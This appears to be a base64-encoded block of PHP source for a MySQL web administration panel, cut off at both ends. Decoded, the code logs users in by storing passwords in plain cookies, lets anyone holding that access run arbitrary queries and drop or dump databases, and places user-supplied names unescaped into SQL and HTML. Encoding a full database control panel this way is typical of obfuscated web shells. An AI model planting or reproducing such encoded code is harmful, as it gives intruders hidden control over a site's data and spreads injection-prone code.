dCcgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICJcbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIlxuIjsNCgllY2hvICJcbiI7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uX3N1Ym1pdCgpIHsNCglnbG9iYWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOw0KCWlmKCRob3N0bmFtZSA9PScnKQ0KCQkkaG9zdG5hbWUgPSAnbG9jYWxob3N0JzsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiLCAkaG9zdG5hbWUgKTsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz4iOw0KDQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJaWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0gIlN1Y2Nlc3MiOw0KCWlmKCAkcXVlcnlTdHIgIT0gIiIgKSB7DQoJCWVjaG8gIjx0YWJsZSBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KDQoJZWNobyAiPGgxPkRhdGFiYXNlcyBMaXN0PC9oMT5cbiI7DQoNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVEQj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoNCgllY2hvICI8dGFibGUgY2xhc3M9dGFibmV0IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BEYXRhYmFzZSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoNCglteXNxbF9kcm9wX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoNCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVUYWJsZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYXRlIFRhYmxlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1xdWVyeT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdRdWVyeSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOw0KDQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7DQoNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCg0KCWVjaG8gIjwvdGFibGU+IjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcXVlcnlTdHIgPSAiQ1JFQVRFIFRBQkxFICR0YWJsZW5hbWUgKCBubyBJTlQgKSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcFRhYmxlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hvUXVlcnlSZXN1bHQoKTsNCg0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkFkZCBGaWVsZDwvYT4gfCBcbiI7DQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KDQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJOdWxsIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJEZWZhdWx0Il0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkV4dHJhIl0uIjwvdGQ+XG4iOw0KCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1lZGl0RmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnPkVkaXQ8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIEZpZWxkIFwnJGZpZWxkbmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQkkdmFsdWVsaXN0ID0gc3RydG9rKCAiICgpXG4iICk7DQoJCQl9IGVsc2Ugew0KCQkJCSRNID0gc3RydG9rKCAiICgsKVxuIiApOw0KCQkJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIsIiApICkNCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQl9DQoJCX0NCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7DQoNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KDQoJZWNobyAiPGgzPk5hbWU8L2gzPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsNCgllY2hvICcNCg0KPGgzPlR5cGU8L2gzPg0KDQo8Zm9udCBzaXplPTI+DQoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+DQoqIGBEXCcgYXBwbGllcyB0byBmbG9hdGluZy1wb2ludCB0eXBlcyBhbmQgaW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgZGlnaXRzIGZvbGxvd2luZyB0aGUgZGVjaW1hbCBwb2ludC48YnI+DQo8L2ZvbnQ+DQoNCjwgdGFibGUgY2xhc3M9InRhYm5ldCI+DQo8dHI+DQo8dGg+VHlwZTwvdGg+PHRoPiZuYnNwTSZuYnNwPC90aD48dGg+Jm5ic3BEJm5ic3A8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU5ZSU5UIiAnOyBpZiggJHR5cGUgPT0gInRpbnlpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllJTlQgKC0xMjggfiAxMjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUlOVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW1pbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTUlOVCAoLTgzODg2MDggfiA4Mzg4NjA3KTwvdGQ+DQoNCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ